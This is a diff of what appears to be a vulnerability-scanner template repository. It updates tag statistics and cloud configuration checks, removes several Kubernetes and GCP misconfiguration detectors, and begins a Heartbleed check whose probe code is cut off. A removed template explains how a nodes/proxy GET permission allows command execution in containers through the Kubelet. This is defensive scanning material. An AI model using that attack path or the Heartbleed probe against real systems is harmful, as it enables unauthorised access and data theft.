"name":"cve2017","count":123},{"name":"phishing","count":119},{"name":"cve2010","count":115},{"name":"kubernetes","count":113},{"name":"disclosure","count":106},{"name":"audit","count":102},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"js","count":96},{"name":"windows-audit","count":90},{"name":"oss","count":87},{"name":"seclists","count":86},{"name":"oracle","count":85},{"name":"privesc","count":85},{"name":"file-upload","count":84},{"name":"takeover","count":82},{"name":"passive","count":79},{"name":"cisco","count":78},{"name":"enum","count":77},{"name":"windows","count":77},{"name":"fileupload","count":76},{"name":"k8s","count":73},{"name":"adobe","count":69},{"name":"cve2015","count":65},{"name":"detection","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"vmware","count":63},{"name":"cve2016","count":62},{"name":"deserialization","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"cve2014","count":55},{"name":"php","count":53},{"name":"dast","count":51},{"name":"traversal","count":51},{"name":"misc","count":51},{"name":"logs","count":50},{"name":"ssti","count":49},{"name":"ssh","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"aem","count":48},{"name":"api","count":48},{"name":"plugin","count":48},{"name":"log4j","count":48},{"name":"debug","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"cnvd","count":47},{"name":"vulhub","count":46},{"name":"injection","count":46},{"name":"ibm","count":46},{"name":"aliyun","count":45},{"name":"fortinet","count":45},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"wp-theme","count":41},{"name":"sap","count":40},{"name":"postgresql","count":40},{"name":"k8s-cluster-security","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"xxe","count":37},{"name":"jira","count":37},{"name":"devsecops","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-coding","count":36},{"name":"graphql","count":35},{"name":"osint-misc","count":35},{"name":"dns","count":34},{"name":"fuzz","count":34},{"name":"networking","count":34},{"name":"oob","count":34},{"name":"gitlab","count":34},{"name":"printer","count":34},{"name":"yonyou","count":33},{"name":"lfr","count":33},{"name":"vpc","count":31},{"name":"presLine truncated
|
||||
+7144
-8369
File diff suppressed because it is too large.
Load diff
@@ -1,12 +1,12 @@
|
||||
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|
||||
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
|
||||
| vuln | 6626 | dhiyaneshdk | 2114 | http | 10970 | info | 5013 | file | 447 |
|
||||
| cve | 4283 | daffainfo | 949 | cloud | 663 | high | 2915 | dns | 33 |
|
||||
| discovery | 3729 | princechaddha | 867 | file | 447 | medium | 2803 | | |
|
||||
| vkev | 1795 | dwisiswant0 | 807 | code | 288 | critical | 1820 | | |
|
||||
| wordpress | 1656 | pussycat0x | 797 | network | 280 | low | 504 | | |
|
||||
| panel | 1537 | ritikchaddha | 779 | dast | 249 | unknown | 58 | | |
|
||||
| wp-plugin | 1473 | rxerium | 644 | workflows | 207 | | | | |
|
||||
| exposure | 1456 | 0x_akoko | 417 | javascript | 124 | | | | |
|
||||
| xss | 1409 | pikpikcu | 353 | ssl | 38 | | | | |
|
||||
| osint | 1131 | theamanrawat | 343 | dns | 30 | | | | |
|
||||
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
|
||||
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
|
||||
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
|
||||
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
|
||||
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
|
||||
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
|
||||
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
|
||||
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
|
||||
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
|
||||
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
|
||||
@@ -11,7 +11,7 @@ info:
|
||||
Configure your Azure OpenAI instances to use Customer-Managed Keys by setting up encryption key attributes in the Azure Key Vault and then linking them to your OpenAI service instances.
|
||||
reference:
|
||||
- https://docs.microsoft.com/en-us/azure/cognitive-services/encryption-key-management
|
||||
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
|
||||
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1);
|
||||
@@ -55,4 +55,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"$name in $resourceGroup does not use CMK"'
|
||||
# digest: 4a0a00473045022100afdd86b713882a921e9c21b476cb37844ce0635ee1d0c1592eb8aa18f5210dd102201b5725b8bcdb6d39f49cc605f81577c44c01a10d3241e9f23e6ad78c27f86d51:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502202d371c0b11e99b4639048d8838040f11717757a572237352dcc017df1fd69e630221008306f773a98c3b399126912a7b9338954bb249d368db8d7922f762bb4ef4632b:922c64590222798bb761d5b6d8e72950
|
||||
@@ -11,7 +11,7 @@ info:
|
||||
Configure your Azure OpenAI service instances to use either system-assigned or user-assigned managed identities to enhance security and simplify resource access management.
|
||||
reference:
|
||||
- https://docs.microsoft.com/en-us/azure/cognitive-services/authentication
|
||||
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
|
||||
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1);
|
||||
@@ -54,4 +54,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'name + " in " + resourceGroup + " does not use a managed identity"'
|
||||
# digest: 4a0a00473045022100945bab0dc27ba091ec91d4985711f5036fe43509c43c46e3469fbbf687335748022045e04dc407597434705d69a87dd9eac2eb5d112f8f1ea2da2978fec0af63c9f6:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a0046304402201d2dd4c0da912a83c8dfb6e3c6fd56414e4da3a8b0118396060fccb00c7800620220759f09afa595c913f3fa7017cf66a84b68a639f7ffb1e9a6a4fb24499c91a983:922c64590222798bb761d5b6d8e72950
|
||||
@@ -11,7 +11,7 @@ info:
|
||||
Configure all Azure OpenAI service instances to use private endpoints to enhance security and ensure that these instances are not accessible over the public internet.
|
||||
reference:
|
||||
- https://docs.microsoft.com/en-us/azure/private-link/private-endpoint-overview
|
||||
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
|
||||
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1);
|
||||
@@ -53,4 +53,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'name + " in " + resourceGroup + " does not have private endpoint connections configured"'
|
||||
# digest: 4b0a00483046022100ae0d494dae8c7664105ad9828e46f4ae2036b1eb83f20fab69548c1286adce3e022100f9a79065e6a6b95e8ccdb5f2393bc0a29c7a4c566b4c621408d2fa395a354502:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100fbffb2e6b093f781b961d876c19d527e0576808972d3b89b382cdb0272353f36022100947e6a2cf9934afc9b45991b207123cbedf3dd00437555c2aa7be081f3397a36:922c64590222798bb761d5b6d8e72950
|
||||
@@ -11,7 +11,7 @@ info:
|
||||
Configure the Azure OpenAI service instances to disable public network access to secure them against unauthorized external access.
|
||||
reference:
|
||||
- https://docs.microsoft.com/en-us/azure/cognitive-services/cognitive-services-apis-create-account-cli?tabs=windows
|
||||
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
|
||||
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1);
|
||||
@@ -58,4 +58,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"$name in $resourceGroup has public network access enabled"'
|
||||
# digest: 4b0a00483046022100e7b40c386f3b996967bba58bdfcdd5364875f896a5b894e960b2a9d9041b5228022100b894c1d029450025de524a5dbaab8ead72723d06402973a454fe7ba8da39a1b9:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100a307116679a3bfcde8e8e662e343e414b7eb0307b7b48e8caab463a8fb1c4d1802200d15c837eb1ef033e38fdb9f6d48da4240a04cfb03831bfce2f082d7a64020a0:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,77 +0,0 @@
|
||||
id: gcloud-service-account-keys-rotation
|
||||
|
||||
info:
|
||||
name: GCP Service Account Keys - No Rotation Configured
|
||||
author: kelu27
|
||||
severity: high
|
||||
description: |
|
||||
Detects Google Cloud Platform (GCP) service account keys that have no rotation enabled.
|
||||
Keys with an expiration date of 9999-12-31T23:59:59 are considered non-rotating and pose security risks if compromised.
|
||||
impact: |
|
||||
Service account keys without rotation can remain valid indefinitely, making them vulnerable to compromise or misuse if leaked, stolen, or improperly secured.
|
||||
remediation: |
|
||||
Implement a key rotation policy for user-managed service account keys. Regularly rotate keys and delete old ones. Consider using Workload Identity Federation to eliminate the need for long-lived keys entirely.
|
||||
reference:
|
||||
- https://cloud.google.com/iam/docs/understanding-service-accounts
|
||||
- https://cloud.google.com/iam/docs/best-practices-for-securing-service-accounts
|
||||
- https://cloud.google.com/iam/docs/key-rotation
|
||||
metadata:
|
||||
max-request: 3
|
||||
tags: cloud,devops,gcp,gcloud,iam,google-cloud-iam,gcp-cloud-config,security,rotation
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
for(let projectId of iterate(template.projectIds)){
|
||||
set("projectId", projectId)
|
||||
code(2)
|
||||
for(let email of iterate(template.emails)){
|
||||
set("email", email)
|
||||
code(3)
|
||||
}
|
||||
}
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
gcloud projects list --format="json(projectId)"
|
||||
|
||||
extractors:
|
||||
- type: json
|
||||
name: projectIds
|
||||
internal: true
|
||||
json:
|
||||
- ".[].projectId"
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
gcloud iam service-accounts list --project $projectId --format="json(email)"
|
||||
|
||||
extractors:
|
||||
- type: json
|
||||
name: emails
|
||||
internal: true
|
||||
json:
|
||||
- ".[].email"
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
gcloud iam service-accounts keys list --iam-account=$email --format="json"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "9999-12-31T23:59:59"
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Service Account Key without Rotation Found in Service Account " + email + " in project " + projectId'
|
||||
# digest: 4a0a0047304502204623d9adc6a13d65071f0594fa0b3d7fa5e896ca090bf8fa9839d929ade0c112022100d60606906dc75634017a16226765ffff6e9425c77da34ba19fa3b5566826259e:922c64590222798bb761d5b6d8e72950
|
||||
@@ -13,7 +13,7 @@ info:
|
||||
reference:
|
||||
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-auto-upgrades.html
|
||||
- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config,ai
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -53,4 +53,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Project " + projectId + " has Vertex AI notebook instances without automatic upgrades enabled"'
|
||||
# digest: 4a0a00473045022020ecc91c5e20e5b7a7e8c81a75e6f0841c2a8e6f6e10db7cd8c37cc485b65da8022100893a110acd719ebeb5da50f7aa6a9898afdc77259277fe618ce3312d34e5a494:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502204c9dcab870b9d74ffc92b4d124ae2c552cd7adc3c063df1c893eee8f1da63578022100d799039657b5ec98b9345069d8f38f00b0516c96be22e7a24057c45d767ac9e7:922c64590222798bb761d5b6d8e72950
|
||||
@@ -13,7 +13,7 @@ info:
|
||||
reference:
|
||||
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/default-vpc-in-use.html
|
||||
- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/create-instance
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config,ai
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -53,4 +53,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Project " + projectId + " has Vertex AI notebook instances using the default VPC network"'
|
||||
# digest: 4b0a00483046022100a628bcce3d1a7dcc53a56f40f8f4865f54dd43d343da23897a0ece18ebf75961022100a96b22e32f581a4f14a406d6f58ded7288f7cfdd39d3152d635786ac71f02c42:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a004830460221009b5d1f2fcfc890c2f05563c6eb9622a256919795802a514c6182274d02a81818022100ebf9b5415abdc9b7966505657741b3d7e08b849035c0849d16be0aa5dcb8d7ed:922c64590222798bb761d5b6d8e72950
|
||||
@@ -13,7 +13,7 @@ info:
|
||||
reference:
|
||||
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/prevent-external-ip-usage.html
|
||||
- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config,ai
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -53,4 +53,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Project " + projectId + " has Vertex AI notebook instances with external IP addresses enabled"'
|
||||
# digest: 4a0a00473045022100eb58356e30e582e79db9e34c751398f257540bfa4716c2d1de37c82d242de38a0220320024c473e1bd4db36c9f640950a0a006aa63e5be2f444fbbd2254081cb3f05:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502206b8cab9d698ed9f4177859d3256fe52c1eb954938c92c81e7b4af186c551ec20022100f088f4ac582da61bdfd232ed2e0ce6a428113cd5a1e690284b8783342f6895c3:922c64590222798bb761d5b6d8e72950
|
||||
@@ -13,7 +13,7 @@ info:
|
||||
reference:
|
||||
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-idle-shutdown.html
|
||||
- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config,ai
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -53,4 +53,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Project " + projectId + " has Vertex AI notebook instances without idle shutdown enabled"'
|
||||
# digest: 4a0a004730450220374d01f50a9d157a2d5fec68762d8051b89f6b1ed0376e88635e1511d68abe8a022100b34c712dc5baed678090996d90a412ddb40c480cec972fbef83ba807c150fc36:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a004830460221009b5693adc0278a31a62b47630197300145b36b00d470c8893ef5d2f19430607e0221008385cf51bd01f9652405b3344f8326549d4abcc49d876d73eb136a14818582d0:922c64590222798bb761d5b6d8e72950
|
||||
@@ -13,7 +13,7 @@ info:
|
||||
reference:
|
||||
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-integrity-monitoring.html
|
||||
- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config,ai
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -55,4 +55,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Project " + projectId + " has Vertex AI notebook instances without integrity monitoring enabled"'
|
||||
# digest: 4a0a0047304502207db528887b8c3b4196abeece97c77bddd0a59322c0dca821358c99a93786708702210098618a9638dae1ff81fbe505882a575b4daa34ea2b3df20ce8f8662d92f5f8db:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100b215d362db9c0383615363d071e45a71b376694eb6a974ce4cbd5db9dec5691502200bc26776e97130ee6e43a1b6763258c4c8d24cc0095b319854af3f8812045dfa:922c64590222798bb761d5b6d8e72950
|
||||
@@ -13,7 +13,7 @@ info:
|
||||
reference:
|
||||
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-cloud-monitoring.html
|
||||
- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config,ai
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -53,4 +53,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Project " + projectId + " has Vertex AI notebook instances without Cloud Monitoring enabled"'
|
||||
# digest: 490a00463044022046f0077349a98b3ff497d7d15ef487bb2814b921756ae2a564472817715425dc02204748a68363446c30b79aa3b2089a97a8c6314cb1ce1d2e7153659ffee5e3a2f5:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100c7bc99ba5cc3d543c53777ced4301fa9ece255d153202432c143fedcfab4955602206bc1d563f849b0db4fdcec3fc5d0fbf18372948eefe863ebdd7828364902ebe5:922c64590222798bb761d5b6d8e72950
|
||||
@@ -13,7 +13,7 @@ info:
|
||||
reference:
|
||||
- https://trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/disable-root-access.html
|
||||
- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config,ai
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -53,4 +53,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Project " + projectId + " has Vertex AI notebook instances with root access enabled"'
|
||||
# digest: 4b0a00483046022100f207075f7fb72babf0c77967aa1a0aecaecb83b2432bf71477b57a0c810f30a4022100f861b48c21882fec2e8b153fc922515644690029a3cfcc6200cb6b3bc34658bc:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502203fafa09fd627295440cda0833154e362ad16f53551c11446c640eef34c1cd7e8022100a848ce9d7e2f458fe5454494e88df994cefe9ed2657c893fd8d7ac46091c6783:922c64590222798bb761d5b6d8e72950
|
||||
@@ -13,7 +13,7 @@ info:
|
||||
reference:
|
||||
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-secure-boot.html
|
||||
- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config,ai
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -53,4 +53,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Project " + projectId + " has Vertex AI notebook instances without Secure Boot enabled"'
|
||||
# digest: 4a0a0047304502207866f5d4ad7aba081232ed70b2ca4e104f7d781d1320b152cad1ada406601b4e022100dfebaafce7a40c3fa12304f63b34dd7d758108f65204e752139ec65d6dfd8bb0:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a0048304602210082e89eb94bc0d7ab464530e9adc73c736fa580813fb37e4c135b491da8598f13022100e361b6ec75ffff463f72c5ab9af82594fa3bac07639c3147ede1fa6c2374cb6c:922c64590222798bb761d5b6d8e72950
|
||||
@@ -13,7 +13,7 @@ info:
|
||||
reference:
|
||||
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-vtpm.html
|
||||
- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config,ai
|
||||
tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -53,4 +53,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Project " + projectId + " has Vertex AI notebook instances without Virtual Trusted Platform Module (vTPM) enabled"'
|
||||
# digest: 4a0a0047304502200a062fbf1e24e81fed35d1e0da64536f63b695ad66c7c4ed40d8dbe2d5c6350702210085620cf4d8a4001277295a946d3c7fdbfe48d5c4211da71d13494be91f5b323f:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a004830460221008daab33ee8514bd0a358a39a0c7d5230d9f00695fc2dafcea6cb20b78efe6c1a022100f29c8980ff8d878cdca0220035201e74e8670496e896f4e8c4b6a1f41675ae13:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,70 +0,0 @@
|
||||
id: k8s-clusterrole-nodes-proxy-rce
|
||||
|
||||
info:
|
||||
name: ClusterRoles with Risky nodes/proxy GET Permission
|
||||
author: princechaddha
|
||||
severity: high
|
||||
description: |
|
||||
Detects Kubernetes ClusterRoles that grant GET permission on nodes/proxy resource.
|
||||
Due to an authorization inconsistency in Kubelet, the nodes/proxy GET permission allows
|
||||
execution of commands in any container via WebSocket connections to the Kubelet API.
|
||||
The Kubelet authorizes based on the initial HTTP GET method of WebSocket handshake
|
||||
rather than the actual operation (exec/run/attach) which should require CREATE permission.
|
||||
impact: |
|
||||
Service accounts with nodes/proxy GET permission can potentially execute commands in any
|
||||
container if they have network access to the Kubelet API (port 10250). This bypasses
|
||||
expected RBAC controls and audit logging.
|
||||
remediation: |
|
||||
Remove nodes/proxy GET permissions from ClusterRoles unless absolutely necessary.
|
||||
Restrict network access to Kubelet port 10250 and implement network policies.
|
||||
reference:
|
||||
- https://grahamhelton.com/blog/nodes-proxy-rce
|
||||
tags: cloud,devops,kubernetes,devsecops,rbac,k8s,k8s-cluster-security
|
||||
|
||||
flow: |
|
||||
code(1);
|
||||
for (let role of template.items) {
|
||||
set("role", role)
|
||||
javascript(1);
|
||||
}
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: kubectl get clusterrole --output=json
|
||||
extractors:
|
||||
- type: json
|
||||
name: items
|
||||
internal: true
|
||||
json:
|
||||
- '.items[]'
|
||||
|
||||
javascript:
|
||||
- code: |
|
||||
let role = JSON.parse(template.role);
|
||||
let riskyRules = 0;
|
||||
if (role.rules) {
|
||||
role.rules.forEach(rule => {
|
||||
let apiGroups = rule.apiGroups || [];
|
||||
let resources = rule.resources || [];
|
||||
let verbs = rule.verbs || [];
|
||||
let isCoreApiGroup = apiGroups.includes("") || apiGroups.includes("*");
|
||||
let hasNodesProxy = resources.includes("nodes/proxy") || resources.includes("*");
|
||||
let hasGetVerb = verbs.includes("get") || verbs.includes("*");
|
||||
if (isCoreApiGroup && hasNodesProxy && hasGetVerb) {
|
||||
riskyRules++;
|
||||
}
|
||||
});
|
||||
}
|
||||
if (riskyRules > 0) {
|
||||
let result = (`ClusterRole '${role.metadata.name}' has ${riskyRules} rule(s) granting 'nodes/proxy' GET permission in core API group, allowing potential RCE via Kubelet.`);
|
||||
Export(result);
|
||||
}
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- response
|
||||
# digest: 4a0a00473045022100cf472116d86502fb62d55139553bddb302af32a62f5d97a692534391ead1659f02207a776d50650ff39e152e39cc48109ff7963ec2db0d4ad2b03100258ea77dd32d:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,50 +0,0 @@
|
||||
id: k8s-controller-manager-bind-address
|
||||
|
||||
info:
|
||||
name: Ensure kube-controller-manager --bind-address is set to localhost
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Ensure kube-controller-manager is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or
|
||||
set to 0.0.0.0 (::), the controller-manager API may be reachable from all network interfaces, increasing
|
||||
exposure of the control-plane component.
|
||||
impact: |
|
||||
If the kube-controller-manager listens on all interfaces, an attacker with network access may be able to
|
||||
interact with the controller-manager API, causing potential information leakage or enabling further attacks
|
||||
against the cluster.
|
||||
remediation: |
|
||||
Set --bind-address=127.0.0.1 (or ::1) in the kube-controller-manager startup arguments. For example, edit
|
||||
/etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
|
||||
reference:
|
||||
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
|
||||
- Cloud Vulnerability Assessment Guide(2024) by KISA
|
||||
tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security
|
||||
|
||||
variables:
|
||||
component: "kube-controller-manager"
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
kubectl get pods -n kube-system -l component=kube-controller-manager -o jsonpath="{.items[*].spec.containers[*].command}"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'kube-controller-manager'
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "--bind-address=127.0.0.1"
|
||||
- "--bind-address=::1"
|
||||
negative: true
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
|
||||
# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,49 +0,0 @@
|
||||
id: k8s-scheduler-bind-address
|
||||
|
||||
info:
|
||||
name: Ensure kube-scheduler --bind-address is set to localhost
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Ensure kube-scheduler is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or set to
|
||||
0.0.0.0 (::), the scheduler API may be reachable from all network interfaces, increasing exposure of the
|
||||
control-plane component.
|
||||
impact: |
|
||||
If the kube-scheduler listens on all interfaces, an attacker with network access may be able to interact
|
||||
with the scheduler API, causing potential information leakage or enabling further attacks against the cluster.
|
||||
remediation: |
|
||||
Set --bind-address=127.0.0.1 (or ::1) in the kube-scheduler startup arguments. For example, edit
|
||||
/etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
|
||||
reference:
|
||||
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
|
||||
- Cloud Vulnerability Assessment Guide(2024) by KISA
|
||||
tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security
|
||||
|
||||
variables:
|
||||
component: "kube-scheduler"
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
kubectl get pods -n kube-system -l component=kube-scheduler -o jsonpath="{.items[*].spec.containers[*].command}"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'kube-scheduler'
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "--bind-address=127.0.0.1"
|
||||
- "--bind-address=::1"
|
||||
negative: true
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
|
||||
# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,17 +6,13 @@ info:
|
||||
severity: high
|
||||
description: |
|
||||
The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users, and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users, and impersonate services and users.
|
||||
remediation: |
|
||||
Apply the latest security patches and updates from the vendor to address this vulnerability.
|
||||
impact: |
|
||||
Attackers can eavesdrop, steal sensitive data, impersonate services, and compromise user credentials.
|
||||
reference:
|
||||
- https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
|
||||
metadata:
|
||||
verified: true
|
||||
classification:
|
||||
epss-score: 0.99999
|
||||
epss-percentile: 0.99997
|
||||
epss-score: 0.94477
|
||||
epss-percentile: 0.99998
|
||||
tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln
|
||||
|
||||
variables:
|
||||
@@ -111,7 +107,7 @@ code:
|
||||
# Parse the URL
|
||||
parsed_url = urlparse(url)
|
||||
